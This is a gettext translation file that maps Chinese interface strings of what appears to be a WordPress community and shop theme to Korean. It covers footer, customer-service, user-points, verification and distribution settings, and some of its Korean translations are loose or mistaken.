msgid "删除筛选"
msgstr "필터 제거"

#: Modules/Settings/Template.php:1775
msgid "确定要删除这个筛选吗？"
msgstr "이 레벨을 삭제 하시겠습니까?"

#: Modules/Settings/Template.php:1780
#, php-format
msgid "筛选标题%s"
msgstr "필터 제목 %s"

#: Modules/Settings/Template.php:1783
msgid "给这个筛选起个名字"
msgstr "이 템플릿에 이름 지정"

#: Modules/Settings/Template.php:1815
msgid ""
"请选择要显示的文章分类，可以拖动排序，选中后这些分类会自动添加此筛选，不必再"
"去分类中一个一个设置"
msgstr ""
"표시할 기사 카테고리를 선택하세요. 끌어서 정렬할 수 있습니다. 이 카테고리는 "
"선택 후 이 필터를 자동으로 추가합니다. 카테고리를 하나씩 설정하기 위해 카테고"
"리로 이동할 필요가 없습니다."

#: Modules/Settings/Template.php:1896
msgid "添加下载模版"
msgstr "다운로드 템플릿 추가"

#: Modules/Settings/Template.php:1941
msgid "可以不设置，将自动显示当前文章封面图片"
msgstr "설정할 수 없습니다. 자동으로 표지 이미지가 표시됩니다."

#: Modules/Settings/Template.php:1977
msgid "底部"
msgstr "바닥"

#: Modules/Settings/Template.php:1985
msgid "底部第一层背景图片"
msgstr "맨 아래 첫 번째 레이어의 배경색"

#: Modules/Settings/Template.php:1991
msgid "如果不设置，请填写none后保存"
msgstr "설정되지 않은 경우 아무것도 입력하지 않고 저장하십시오."

#: Modules/Settings/Template.php:1996
msgid "底部第一层背景颜色"
msgstr "맨 아래 첫 번째 레이어의 배경색"

#: Modules/Settings/Template.php:2003
msgid "底部第一层文字颜色"
msgstr "맨 아래에있는 텍스트 색상의 첫 번째 레이어"

#: Modules/Settings/Template.php:2010
msgid "底部第二层背景颜色"
msgstr "아래쪽 두 번째 레이어 배경색"

#: Modules/Settings/Template.php:2017
msgid "底部第二层文字颜色"
msgstr "하단의 두 번째 텍스트 색상 레이어"

#: Modules/Settings/Template.php:2024
msgid "底部显示的友情连接分类"
msgstr "하단에 표시된 우정 연결 카테고리"

#: Modules/Settings/Template.php:2030
#, php-format
msgid "没有连接分类，请前往%s添加"
msgstr "연결 카테고리가 없습니다. 추가하려면  %s로 이동하세요."

#: Modules/Settings/Template.php:2043
msgid "移动端是否显示底部友情连接"
msgstr "이동 단말기에 하단 우정 링크 표시 여부"

#: Modules/Settings/Template.php:2054
#, fuzzy
msgid "网站底部 Copyright "
msgstr "사이트 하단 저작권"

#: Modules/Settings/Template.php:2062
msgid "备案号"
msgstr "케이스 번호"

#: Modules/Settings/Template.php:2069
msgid "公安备案号"
msgstr "공공 보안 기록 번호"

#: Modules/Settings/Template.php:2089
msgid "移动端底部菜单设置"
msgstr "모바일 하단 메뉴 설정"

#: Modules/Settings/Template.php:2121
msgid "是否显示底部菜单"
msgstr "사이드 바 표시 여부"

#: Modules/Settings/Template.php:2132
msgid "底部左侧菜单"
msgstr "왼쪽 하단 메뉴"

#: Modules/Settings/Template.php:2141
msgid "底部右侧菜单"
msgstr "오른쪽 하단 메뉴"

#: Modules/Settings/Template.php:2155
#, fuzzy, php-format
msgid "%s聚合页面"
msgstr "주제별 집계 페이지"

#: Modules/Settings/Template.php:2163
#, fuzzy, php-format
msgid "是否显示%s页顶部大背景图片"
msgstr "주제 페이지 상단에 큰 배경 이미지를 표시할지 여부"

#: Modules/Settings/Template.php:2174
#, fuzzy, php-format
msgid "%s聚合页面标题"
msgstr "주제별 집계 페이지"

#: Modules/Settings/Template.php:2178 Modules/Settings/Template.php:2186
#: Modules/Settings/Template.php:2196
#, fuzzy, php-format
msgid "将会显示在%s聚合页面"
msgstr "주제 집계 페이지에 표시됩니다."

#: Modules/Settings/Template.php:2182
#, fuzzy, php-format
msgid "%s聚合页面描述"
msgstr "주제별 집계 페이지 설명"

#: Modules/Settings/Template.php:2200
#, fuzzy, php-format
msgid "%s聚合页面每行显示数量"
msgstr "페이지 당 표시되는 주제별 집계 페이지 수"

#: Modules/Settings/Template.php:2207
#, fuzzy, php-format
msgid "%s聚合页面每页显示数量"
msgstr "페이지 당 표시되는 주제별 집계 페이지 수"

#: Modules/Settings/Template.php:2214
#, fuzzy, php-format
#| msgid "排序方法"
msgid "%s文章排序方法"
msgstr "정렬순서"

#: Modules/Settings/Template.php:2218
msgid "最旧的排在最前面"
msgstr "가장 오래된 것이 목록 맨 위에 있습니다."

#: Modules/Settings/Template.php:2219
msgid "最新的排在最前面"
msgstr "목록 상단의 최신 정보"

#: Modules/Settings/Template.php:2225
#, fuzzy, php-format
#| msgid "排序方法"
msgid "%s期数排序方法"
msgstr "정렬순서"

#: Modules/Settings/Template.php:2229
msgid "第一期排在最前面"
msgstr "대기열 맨 위에 있는 첫 번째 이슈"

#: Modules/Settings/Template.php:2230
msgid "最后一期排在最前面"
msgstr "상단의 마지막 문제"

#: Modules/Settings/Template.php:2239
msgid "下载弹窗设置"
msgstr "팝업 설정 다운로드"

#: Modules/Settings/Template.php:2247
msgid "顶部广告（长方形）"
msgstr "상단 광고 (직사각형)"

#: Modules/Settings/Template.php:2254
msgid "标题下方广告（正方形）"
msgstr "제목 아래 광고 (정사각형)"

#: Modules/Settings/Template.php:2261
msgid "底部广告（长方形）"
msgstr "하단 광고 (직사각형)"

#: Modules/Settings/Template.php:2274
msgid "右侧跟随工具条"
msgstr "오른쪽의 도구 모음을 따르십시오."

#: Modules/Settings/Template.php:2282
msgid "是否开启右侧工具条"
msgstr "오른쪽 도구 모음을 열지 여부"

#: Modules/Settings/Template.php:2293
msgid "是否显示个人中心"
msgstr "개인 센터 표시 여부"

#: Modules/Settings/Template.php:2304
msgid "是否显示签到"
msgstr "로그인 표시 여부"

#: Modules/Settings/Template.php:2315
msgid "是否显示消息"
msgstr "메시지 표시 여부"

#: Modules/Settings/Template.php:2326
msgid "是否显示私信"
msgstr "비공개 메시지 표시 여부"

#: Modules/Settings/Template.php:2336
msgid "是否显示vip按钮"
msgstr "추가로드 버튼 표시 여부"

#: Modules/Settings/Template.php:2349
msgid "默认会显示当前页面的二维码，如果您还有其他二维码，请在此处进行设置"
msgstr ""
"현재 페이지의 QR 코드가 기본적으로 표시됩니다. 다른 QR 코드가있는 경우 여기에"
"서 설정하세요."

#: Modules/Settings/Template.php:2352
msgid "二维码设置{#}"
msgstr "QR 코드 설정 {#}"

#: Modules/Settings/Template.php:2353
msgid "添加新二维码"
msgstr "새 QR 코드 추가"

#: Modules/Settings/Template.php:2354
msgid "删除二维码"
msgstr "QR 코드 삭제"

#: Modules/Settings/Template.php:2357
msgid "确定要删除这个二维码吗？"
msgstr "이 QR 코드를 삭제 하시겠습니까?"

#: Modules/Settings/Template.php:2362
msgid "二维码图片"
msgstr "QR 코드 사진"

#: Modules/Settings/Template.php:2371
msgid "二维码描述"
msgstr "QR 코드 설명"

#: Modules/Settings/Template.php:2377
msgid "请选择客服类型"
msgstr "고객 서비스 유형을 선택하세요."

#: Modules/Settings/Template.php:2382
msgid "不使用客服"
msgstr "고객 서비스를 사용하지 마십시오"

#: Modules/Settings/Template.php:2383
msgid "QQ聊天"
msgstr "QQ 채팅"

#: Modules/Settings/Template.php:2384 Modules/Settings/Template.php:2403
msgid "微信客服"
msgstr "WeChat 고객 서비스"

#: Modules/Settings/Template.php:2385
msgid "Crisp在线客服"
msgstr "깔끔한 온라인 고객 서비스"

#: Modules/Settings/Template.php:2386
msgid "站内私信"
msgstr "사신"

#: Modules/Settings/Template.php:2387 Modules/Templates/Header.php:263
#: Pages/requests.php:48 footer.php:198 single-document.php:101
msgid "提交工单"
msgstr "질문하기"

#: Modules/Settings/Template.php:2394
msgid "QQ号码"
msgstr "QQ 번호"

#: Modules/Settings/Template.php:2397
msgid "用户浏览器中点击客服，会唤醒QQ进行交流。请填写客服的QQ号码"
msgstr ""
"사용자의 브라우저에서 고객 서비스를 클릭하면 통신을 위해 QQ를 깨울 것입니다. "
"고객센터의 QQ번호를 입력해주세요."

#: Modules/Settings/Template.php:2406
#, php-format
msgid "请填写在微信客服后台中，%s微信外APP/网页接入链接%s"
msgstr ""
"위챗 고객 서비스 배경, %s 위챗 외부 앱/웹 액세스 링크 %s을 입력해 주세요."

#: Modules/Settings/Template.php:2412
msgid "Crisp的网站ID"
msgstr "Crisp의 웹사이트 ID"

#: Modules/Settings/Template.php:2415
#, php-format
msgid ""
"%sCrisp控制台%s->设置->网站设置->网站信息中，类似 24d6cd24-fa4f-44bc-"
"a020-78523f569746 这样的字符"
msgstr ""
"%sCrisp 콘솔%s->설정->웹사이트 설정->웹사이트 정보, 24d6cd24-fa4f-44bc-"
"a020-78523f569746과 같은 문자"

#: Modules/Settings/Template.php:2421
msgid "站内私信ID"
msgstr "스테이션 개인 메시지 ID"

#: Modules/Settings/Template.php:2424
msgid "用户点击客服之后给谁发私信？一般是管理员，管理员的ID是1就填1"
msgstr ""
"사용자가 고객 서비스를 클릭하면 누가 비공개 메시지를 보내나요? 일반적으로 관"
"리자입니다.관리자 ID가 1이면 1을 입력합니다."

#: Modules/Settings/Template.php:2490
msgid "当前模块使用的小工具"
msgstr "현재 모듈에서 사용하는 가젯"

#: Modules/Settings/Template.php:2513
msgid "添加小工具"
msgstr "가젯 추가"

#: Modules/Settings/Users.php:154
msgid "注册日期"
msgstr "등록 날짜"

#: Modules/Settings/Users.php:155 User/settings.php:14
msgid "昵称"
msgstr "닉네임"

#: Modules/Settings/Users.php:157
msgid "会员过期时间"
msgstr "회원 만료 시간"

#: Modules/Settings/Users.php:211 Modules/Settings/Users.php:222
#, fuzzy, php-format
#| msgid "管理员对你的积分进行了变更"
msgid "管理员对您的积分进行了变更：${gold_page}，变更原因：%s"
msgstr "관리자가 당신의 포인트를 변경했습니다."

#: Modules/Settings/Users.php:211 Modules/Settings/Users.php:222
#: Modules/Settings/Users.php:253 Modules/Settings/Users.php:264
#, fuzzy
#| msgid "未关注"
msgid "未注明"
msgstr "미 구독"

#: Modules/Settings/Users.php:213 Modules/Settings/Users.php:224
msgid "积分变更"
msgstr "포인트 변경"

#: Modules/Settings/Users.php:253 Modules/Settings/Users.php:264
#, fuzzy, php-format
#| msgid "管理员对你的积分进行了变更"
msgid "管理员对您的%s进行了变更，变更原因：%s"
msgstr "관리자가 당신의 포인트를 변경했습니다."

#: Modules/Settings/Users.php:255 Modules/Settings/Users.php:266
#, fuzzy, php-format
msgid "%s变更"
msgstr "%s 변경됨"

#: Modules/Settings/Users.php:373
msgid "用户页面"
msgstr "사용자 페이지"

#: Modules/Settings/Users.php:381
msgid "用户积分"
msgstr "사용자 소스"

#: Modules/Settings/Users.php:384
msgid "积分变更以后，用户登录以后或者访问此用户个人主页会重新计算等级"
msgstr ""
"포인트 변경 후 사용자가 로그인하거나 사용자의 개인 홈페이지를 방문하면 등급"
"이 재 계산됩니다."

#: Modules/Settings/Users.php:388
#, fuzzy, php-format
msgid "用户%s"
msgstr "사용자 %s"

#: Modules/Settings/Users.php:396
#, fuzzy, php-format
#| msgid "余额变更"
msgid "积分或%s变更原因"
msgstr "잔액 변경"

#: Modules/Settings/Users.php:399
#, fuzzy, php-format
msgid ""
"当用户的积分或%s有变更的时候，可以在此备注原因，用户的通知或财富中将会显示变"
"更原因"
msgstr ""
"사용자의 포인트 또는 잔액이 변경되면 여기에 이유를 기록 할 수 있으며 변경 이"
"유는 사용자의 알림 또는 부에 표시됩니다."

#: Modules/Settings/Users.php:418
msgid "普通等级"
msgstr "일반 등급"

#: Modules/Settings/Users.php:423
msgid ""
"等级会根据用户当前的积分进行计算，如果您设置的等级小于此用户当前积分所在的等"
"级，将不会生效"
msgstr ""
"레벨은 사용자의 현재 포인트를 기준으로 계산됩니다. 설정 한 레벨이 사용자의 현"
"재 포인트 레벨보다 낮 으면 적용되지 않습니다."

#: Modules/Settings/Users.php:427
msgid "VIP等级"
msgstr "VIP 레벨"

#: Modules/Settings/Users.php:452
msgid "VIP过期时间"
msgstr "청구 만료 시간"

#: Modules/Settings/Users.php:458
msgid "请填写会员的过期时间，如果永不过期，请填写0或者9999-01-01"
msgstr ""
"회원의 만료 시간을 입력하십시오. 만료되지 않은 경우 0 또는 9999-01-01을 입력"
"하십시오."

#: Modules/Settings/Users.php:476
msgid "用户是否为分销员"
msgstr "사용자가 배포자인지 여부"

#: Modules/Settings/Users.php:480
msgid "不是分销员"
msgstr "유통 업체 아님"

#: Modules/Settings/Users.php:481
msgid "是分销员"
msgstr "유통 업체"

#: Modules/Settings/Users.php:484
msgid ""
"当设置用户为分销员，开启分销的情况下，用户会有自己的专属分销连接和分销管理页"
"面"
msgstr ""
"사용자가 배포자로 설정되고 배포가 켜져 있으면 사용자는 자신의 독점 배포 연결 "
"및 배포 관리 페이지를 갖게됩니다."

#: Modules/Settings/Users.php:488
msgid "分销比例"
msgstr "배포 비율"

#: Modules/Settings/Users.php:493
msgid "单独设置"
msgstr "별도의 설정"

#: Modules/Settings/Users.php:496
#, php-format
msgid ""
"使用全局设置，将会使用%s全局设置%s的分销比例，如果单独设置，将会使用下面的单"
"独设置的分销比例"
msgstr ""
"글로벌 설정 시에는 %s 글로벌 설정 %s의 분포 비율이 사용되며, 개별 설정 시에"
"는 다음과 같이 개별적으로 설정한 분포 비율이 사용됩니다."

#: Modules/Settings/Users.php:530
msgid "自由人"
msgstr "자유인"

#: Modules/Settings/Users.php:531
msgid "关进小黑屋"
msgstr "작은 검은 집에 갇혀"

#: Modules/Settings/Users.php:538
msgid "关进小黑屋的原因"
msgstr "작은 검은 집에 갇혀"

#: Modules/Settings/Users.php:541
msgid "关进小黑屋的原因。"
msgstr "작은 검은 집에 갇혀"

#: Modules/Settings/Users.php:545
msgid "关进小黑屋天数"
msgstr "작은 검은 집에 갇힌 일수"

#: Modules/Settings/Users.php:549
msgid "关进小黑屋之后多少天成为自由人。如果设置成0，将永久关进小黑屋。"
msgstr ""
"자유인이되기 위해 작은 검은 방에 갇힌 후 며칠. 0으로 설정하면 작은 검은 집에 "
"영구적으로 잠 깁니다."

#: Modules/Settings/Verify.php:59
msgid "认证设置"
msgstr "인증 설정"

#: Modules/Settings/Verify.php:60
msgid "认证管理"
msgstr "인증 관리"

#: Modules/Settings/Verify.php:64
msgid "是否启用认证"
msgstr "인증 활성화 여부"

#: Modules/Settings/Verify.php:75
msgid "认证页面顶部图片"
msgstr "인증 페이지 상단 이미지"

#: Modules/Settings/Verify.php:81
msgid "显示在认证页面顶部"
msgstr "인증 페이지 상단에 표시"

#: Modules/Settings/Verify.php:86
msgid "认证页面描述"
msgstr "인증 페이지 설명"

#: Modules/Settings/Verify.php:89
msgid ""
"向用户说明为什么需要认证，比如：如果您是领域中的名人、代表企业或组织，或担心"
"我们的平台有人冒充您，可申请认证。"
msgstr ""
"사용자에게 인증이 필요한 이유를 설명하세요. 예를 들어 현장의 유명인이거나 회"
"사 또는 조직을 대표하거나 당사 플랫폼의 누군가가 귀하를 사칭 할까봐 걱정되는 "
"경우 인증을 신청할 수 있습니다."

#: Modules/Settings/Verify.php:94
msgid "认证必要条件"
msgstr "인증 요건"

#: Modules/Settings/Verify.php:98
msgid "姓名身份证等个人信息"
msgstr "이름 ID와 같은 개인 정보"

#: Modules/Settings/Verify.php:99 Pages/verify.php:105
msgid "关注公众号"
msgstr "공개 계정 팔로우"

#: Modules/Settings/Verify.php:100 Pages/verify.php:128 Pages/write.php:593
msgid "支付费用"
msgstr "결제하기"

#: Modules/Settings/Verify.php:103
msgid ""
"身份证等个人信息，需要管理员自行审核。关注公众号，请在主题设置->常规设置->微"
"信设置里面填写公众号信息。支付费用请在下面填写支付的金额"
msgstr ""
"ID 카드와 같은 개인 정보는 관리자가 검토해야합니다. 공식 계정을 팔로우하려면 "
"테마 설정-> 일반 설정-> WeChat 설정에서 공식 계정 정보를 입력하세요. 아래에 "
"결제 금액을 입력하세요."

#: Modules/Settings/Verify.php:108
msgid "认证需要支付的金额"
msgstr "인증을 위해 지불해야 할 금액"

#: Modules/Settings/Verify.php:113
msgid "如果开启了付费认证，需要填写此项。"
msgstr "유료 인증이 켜져있는 경우이 항목이 필요합니다."

#: Modules/Settings/Verify.php:118
msgid "支付费用说明"
msgstr "지불 방법"

#: Modules/Settings/Verify.php:121
msgid "如果开启了付费认证，要向用户说明付费的原因，请填写此项。"
msgstr ""
"결제 인증이 켜져있는 경우 사용자에게 결제 이유를 설명하기 위해이 필드를 입력"
"하십시오."

#: Modules/Settings/Verify.php:126
msgid "关注成功微信内部提示信息"
msgstr "성공적인 WeChat 내부 프롬프트 정보를 따르십시오."

#: Modules/Settings/Verify.php:129
msgid "如果开启了关注公众号认证，需要填写此项。"
msgstr "다음 공식 계정 인증이 활성화 된 경우이 항목을 입력해야합니다."

#: Modules/Settings/Verify.php:134
msgid "认证用户的权限"
msgstr "인증 사용자 권한"

#: Modules/Settings/Verify.php:138
#, php-format
msgid ""
"此权限和%s用户等级处设置%s的权限有重合，如果用户等级处设置的权限为否，才会检"
"查此处的权限"
msgstr ""
"이 권한은  %s 사용자 수준의  %s에 대한 권한 설정과 겹칩니다. 사용자 수준에서 "
"설정된 권한이 아니요 인 경우 여기에서 권한이 확인됩니다."

#: Modules/Settings/Verify.php:142
msgid "是否手动审核认证信息"
msgstr "인증 정보를 수동으로 검토할지 여부"

#: Modules/Settings/Verify.php:146
msgid "认证信息人工审核"
msgstr "인증 정보 수동 검토"

#: Modules/Settings/Verify.php:147
msgid "认证信息自动审核"
msgstr "인증 정보 자동 확인"

#: Modules/Settings/Verify.php:150
msgid ""
"如果选择自动审核，用户提交以后自动生效，否则需要管理员在认证列表中进行手动审"
"核"
msgstr ""
"자동 검토를 선택하면 사용자가 제출 한 후 자동으로 적용됩니다. 그렇지 않으면 "
"관리자가 인증 목록에서 수동으로 검토해야합니다."

#: Modules/Settings/Verify.php:159
msgid "认证列表"
msgstr "인증 목록"

#: Modules/Settings/Verify.php:229
msgid "编辑认证资料"
msgstr "인증 정보 수정"

#: Modules/Settings/Verify.php:239 Modules/Settings/VerifyListTable.php:132
msgid "认证日期"
msgstr "인증 일"

#: Modules/Settings/Verify.php:243 Modules/Settings/VerifyListTable.php:134
msgid "实名状态"
msgstr "실명 현황"

#: Modules/Settings/Verify.php:246
msgid "未实名"
msgstr "이름 없음"

#: Modules/Settings/Verify.php:247
msgid "已实名"
msgstr "실명"

#: Modules/Settings/Verify.php:249
msgid "如果用户填写了实名信息（姓名，身份证等）,检查通过请设置为已实名"
msgstr ""
"사용자가 실명 정보 (성명, 신분증 등)를 입력 한 경우, 확인 통과시 실명으로 설"
"정 해주세요."

#: Modules/Settings/Verify.php:253 Modules/Settings/VerifyListTable.php:135
#: User/settings.php:91
msgid "姓名"
msgstr "이름"

#: Modules/Settings/Verify.php:257 Modules/Settings/VerifyListTable.php:136
msgid "身份证号码"
msgstr "신분증: "

#: Modules/Settings/Verify.php:261
msgid "身份证图片"
msgstr "ID 이미지"

#: Modules/Settings/Verify.php:265
msgid "是否关注公众号"
msgstr "공식 계정 팔로우 여부"

#: Modules/Settings/Verify.php:266 Modules/Settings/VerifyListTable.php:42
#: Pages/verify.php:112
msgid "未关注"
msgstr "미 구독"

#: Modules/Settings/Verify.php:269 Modules/Settings/VerifyListTable.php:139
msgid "付款状态"
msgstr "지불 상태"

#: Modules/Settings/Verify.php:270 Modules/Settings/VerifyListTable.php:44
msgid "已付款"
msgstr "유료"

#: Modules/Settings/Verify.php:270 Modules/Settings/VerifyListTable.php:44
msgid "未付款"
msgstr "미지급"

#: Modules/Settings/Verify.php:273 Modules/Settings/VerifyListTable.php:140
msgid "称号"
msgstr "칭호를 기입해 주세요."

#: Modules/Settings/Verify.php:277 Modules/Settings/VerifyListTable.php:141
msgid "认证状态"
msgstr "인증 현황"

#: Modules/Settings/Verify.php:280 Modules/Settings/VerifyListTable.php:51
#: Modules/Templates/Footer.php:718 User/index.php:45
msgid "未认证"
msgstr "미인증"

#: Modules/Settings/Verify.php:281 Modules/Settings/Verify.php:302
#: Modules/Settings/VerifyListTable.php:54 Modules/Templates/Header.php:808
msgid "已认证"
msgstr "확인 됨"

#: Modules/Settings/Verify.php:282 Modules/Settings/VerifyListTable.php:57
msgid "已拉黑"
msgstr "블랙 아웃"

#: Modules/Settings/Verify.php:283 Modules/Settings/Verify.php:303
#: Modules/Settings/VerifyListTable.php:60 TempParts/single-infomation.php:46
msgid "待审中"
msgstr "보류 중"

#: Modules/Settings/Verify.php:285
msgid ""
"用户关注了公众号，然后又取消关注公众号，会处于拉黑状态，这里修改为非拉黑状"
"态，并不能改变用户取消关注的事实，但是可以允许用户再次申请认证。"
msgstr ""
"사용자가 공식 계정을 팔로우 한 후 공식 계정을 언 팔로우하면 블랙 된 상태가되"
"며, 블랙이 아닌 상태로 수정해도 사용자가 다음을 취소 한 사실은 변경되지 않지"
"만 사용자는 다시 인증을 신청할 수 있습니다."

#: Modules/Settings/Verify.php:295
msgid "保存更改"
msgstr "변경 사항을 저장하다"

#: Modules/Settings/Verify.php:304
msgid "黑名单"
msgstr "블랙리스트"

#: Modules/Settings/Verify.php:309
msgid "搜索认证用户（请输入用户ID）"
msgstr "인증 된 사용자 검색 (사용자 ID 입력)"

#: Modules/Settings/VerifyListTable.php:34
msgid "未完成"
msgstr "푼"

#: Modules/Settings/VerifyListTable.php:137
msgid "身份证照片"
msgstr "증명 사진"

#: Modules/Settings/VerifyListTable.php:138
msgid "公众号关注状态"
msgstr "공개 계정 관심 상태"

#: Modules/Settings/distributionOrderListTable.php:50
#: Modules/Settings/distributionOrderListTable.php:59
#: Modules/Settings/distributionOrderListTable.php:69
#: Modules/Settings/distributionOrderListTable.php:80
#: Modules/Settings/distributionOrderListTable.php:88
#: Modules/Settings/distributionOrderListTable.php:94 Pages/distribution.php:92
#, fuzzy
msgid "未记录"
msgstr "%s 레코드"

#: Modules/Settings/distributionOrderListTable.php:74
#: Pages/distribution.php:102 Pages/distribution.php:154
msgid "一级伙伴"
msgstr "1급 파트너"

#: Modules/Settings/distributionOrderListTable.php:76
#: Pages/distribution.php:105 Pages/distribution.php:157
msgid "二级伙伴"
msgstr "2급 파트너"

#: Modules/Settings/distributionOrderListTable.php:78
#: Pages/distribution.php:108 Pages/distribution.php:160
msgid "三级伙伴"
msgstr "3급 파트너"

#: Modules/Settings/distributionOrderListTable.php:142
msgid "消费者"
msgstr "소비자"

#: Modules/Settings/distributionOrderListTable.php:143
msgid "购买日期"
msgstr "구입 날짜"

#: Modules/Settings/distributionOrderListTable.php:144
#: Pages/distribution.php:48
msgid "商品名称"
msgstr "상품명"

#: Modules/Settings/distributionOrderListTable.php:145
#: Pages/distribution.php:54
msgid "商品总价"
msgstr "상품총가격"

#: Modules/Settings/distributionOrderListTable.php:146
msgid "收益人"
msgstr "수익자"

#: Modules/Settings/distributionOrderListTable.php:147
#: Pages/distribution.php:51
msgid "伙伴层级"
msgstr "파트너 등급"

#: Modules/Settings/distributionOrderListTable.php:148
#: Pages/distribution.php:57
msgid "收益比"
msgstr "수익 비"

#: Modules/Settings/distributionOrderListTable.php:149
#: Pages/distribution.php:60
msgid "收益"
msgstr "수익"

#: Modules/Settings/distributionUserListTable.php:103
msgid "umeta_id"
msgstr "umeta_id"

#: Modules/Templates/Archive.php:130 Modules/Templates/Archive.php:221
#: Modules/Templates/Archive.php:264 Modules/Templates/Archive.php:322
#: Modules/Templates/Modules/Circle.php:36
#: Modules/Templates/Modules/Posts.php:1186
#: Modules/Templates/Modules/Products.php:319
#: Modules/Templates/Modules/Search.php:12
#: Modules/Templates/Modules/Search.php:49
#: Modules/Templates/Modules/Search.php:50
#: Modules/Templates/Widgets/Products.php:62 Pages/circle-topics.php:14
#: Pages/circle-topics.php:38 Pages/circle-topics.php:45
#: TempParts/circle/circle-topic-list.php:79
#: TempParts/circle/circle-topic-list.php:104
#: TempParts/circle/circle-topic-list.php:111
#: TempParts/infomation/archive.php:14 TempParts/infomation/archive.php:21
#: TempParts/infomation/archive.php:26 archive-shop.php:118
#: archive-shop.php:161 archive-shop.php:203 functions.php:1935
#: functions.php:2216
msgid "全部"
msgstr "전체"

#: Modules/Templates/Archive.php:486 TempParts/circle/circle-topic-list.php:95
msgid "筛选"
msgstr "필터"

#: Modules/Templates/Archive.php:492 search.php:45
#, php-format
msgid "在「%s」中搜索"
msgstr "「%s」에서 검색"

#: Modules/Templates/Archive.php:500
msgid "全部标签"
msgstr "전체 태그"

#: Modules/Templates/Collection.php:29
msgid "查看往期专题>>"
msgstr "다른 주제 보기>>"

#: Modules/Templates/Footer.php:158 Modules/Templates/Footer.php:160
#: functions.php:2196
msgid "我的"
msgstr "나의"

#: Modules/Templates/Footer.php:165
msgid "菜单"
msgstr "메뉴"

#: Modules/Templates/Footer.php:166 Modules/Templates/Footer.php:492
msgid "客服"
msgstr "고객 서비스"

#: Modules/Templates/Footer.php:252 Modules/Templates/Footer.php:262
msgid "手机号或邮箱"
msgstr "이메일"

#: Modules/Templates/Footer.php:256
msgid "手机号"
msgstr "휴대폰"

#: Modules/Templates/Footer.php:265
msgid "用户名"
msgstr "아이디"

#: Modules/Templates/Footer.php:393
msgid "扫码打开当前页"
msgstr "스캔하여 페이지를 열기"

#: Modules/Templates/Footer.php:422
msgid "解锁会员权限"
msgstr "멤버십 권한 잠금 해제"

#: Modules/Templates/Footer.php:427
msgid "开通会员"
msgstr "회원 가입"

#: Modules/Templates/Footer.php:428
msgid "解锁海量优质VIP资源"
msgstr "방대한 고품질 VIP 리소스 잠금 해제"

#: Modules/Templates/Footer.php:429
msgid "立刻开通"
msgstr "지금 열다"

#: Modules/Templates/Footer.php:441 Modules/Templates/Footer.php:704
#: Modules/Templates/Header.php:442
msgid "个人中心"
msgstr "내 페이지"

#: Modules/Templates/Footer.php:448 Modules/Templates/Footer.php:618
#: functions.php:1883
msgid "购物车"
msgstr "장바구니"

#: Modules/Templates/Footer.php:460 Modules/Templates/Footer.php:518
#: Modules/Templates/Widgets/Mission.php:192
msgid "今日签到"
msgstr "오늘출석"

#: Modules/Templates/Footer.php:467
msgid "有新私信"
msgstr "새 메시지"

#: Modules/Templates/Footer.php:475
msgid "有新消息"
msgstr "새 알림"

#: Modules/Templates/Footer.php:476
msgid "消息中心"
msgstr "알림"

#: Modules/Templates/Footer.php:503
msgid "返回顶部"
msgstr "맨위로"

#: Modules/Templates/Footer.php:512 Modules/Templates/Widgets/Mission.php:186
msgid "幸运之星正在降临..."
msgstr "행운의 별이 온다 ..."

#: Modules/Templates/Footer.php:513 Modules/Templates/Widgets/Mission.php:187
msgid "点击领取今天的签到奖励！"
msgstr "오늘의 출석 보상을 받으려면 클릭하십시오!"

#: Modules/Templates/Footer.php:514 Modules/Templates/Widgets/Mission.php:188
#, php-format
msgid "恭喜！您今天获得了%s积分"
msgstr "축하합니다! 오늘 %s포인트를 받았습니다."

#: Modules/Templates/Footer.php:519 Modules/Templates/Widgets/Mission.php:193
msgid "连续签到"
msgstr "연속출석"

#: Modules/Templates/Footer.php:545 Modules/Templates/Widgets/Mission.php:220
#: Pages/mission.php:79
msgid "连续"
msgstr "연속"

#: Modules/Templates/Footer.php:553 Pages/cat-group.php:52
msgid "查看所有"
msgstr "전체보기"

#: Modules/Templates/Footer.php:559
msgid "我的优惠劵"
msgstr "나의 쿠폰"

#: Modules/Templates/Footer.php:573 Pages/carts.php:101
msgid "无法使用"
msgstr "만료되어 사용할 수 없습니다."

#: Modules/Templates/Footer.php:574 Pages/carts.php:102
msgid "之前"
msgstr "전에"

#: Modules/Templates/Footer.php:589
msgid "限制以下商品使用："
msgstr "다음 제품의 사용을 제한하십시오."

#: Modules/Templates/Footer.php:590
msgid "限制以下商品分类使用："
msgstr "다음 제품 카테고리의 사용을 제한하십시오."

#: Modules/Templates/Footer.php:591
msgid "不限制使用："
msgstr "무제한 사용 :"

#: Modules/Templates/Footer.php:606 TempParts/Announcement/content.php:21
msgid "详情"
msgstr "상세"

#: Modules/Templates/Footer.php:612
msgid "没有优惠劵可用!"
msgstr "사용할수 있는 쿠폰이 없습니다!"

#: Modules/Templates/Footer.php:643
msgid "购物车空空如也!"
msgstr "장바구니가 비었습니다."

#: Modules/Templates/Footer.php:647
msgid "清空购物车"
msgstr "모두 비우기"

#: Modules/Templates/Footer.php:648
msgid "前往结算"
msgstr "결제하기"

#: Modules/Templates/Footer.php:653
msgid "您有新的私信"
msgstr "새로운 메시지가 없습니다."

#: Modules/Templates/Footer.php:654
msgid "没有新私信"
msgstr "새로운 비공개 메시지 없음"

#: Modules/Templates/Footer.php:668 Modules/Templates/Header.php:880
msgid "写新私信"
msgstr "메시지 보내기"

#: Modules/Templates/Footer.php:669
msgid "查看全部"
msgstr "전체보기"

#: Modules/Templates/Footer.php:727
msgid "今日任务完成"
msgstr "오늘 임무 완료"

#: Modules/Templates/Footer.php:733 Modules/Templates/Single.php:183
msgid "升级"
msgstr "업데이트"

#: Modules/Templates/Header.php:316
#: Modules/Templates/PostType/Announcement.php:94
#: Modules/Templates/Widgets/HotCircle.php:208
#: Modules/Templates/Widgets/RecommendedCircle.php:192
#: TempParts/circle/circle-form.php:78 functions.php:567 functions.php:598
#: functions.php:628 functions.php:732 functions.php:793 functions.php:866
#: functions.php:929 functions.php:1053 functions.php:1110 functions.php:1143
#: functions.php:1174 functions.php:1207 functions.php:1907
#, php-format
msgid "所有%s"
msgstr "모든  %s"

#: Modules/Templates/Header.php:341 Pages/link-register.php:11 footer.php:98
#: functions.php:1951 functions.php:2288
msgid "申请入驻"
msgstr "입학 신청"

#: Modules/Templates/Header.php:366 Modules/Templates/Modules/Circle.php:190
#: Pages/circle-topics.php:20 Pages/po-ask.php:26 TempParts/Ask/category.php:41
#: TempParts/circle/circle-form.php:199 TempParts/circle/circle-form.php:205
#: TempParts/circle/circle-topic-list.php:85 archive-ask.php:34
#: functions.php:1967
msgid "提问"
msgstr "질문"

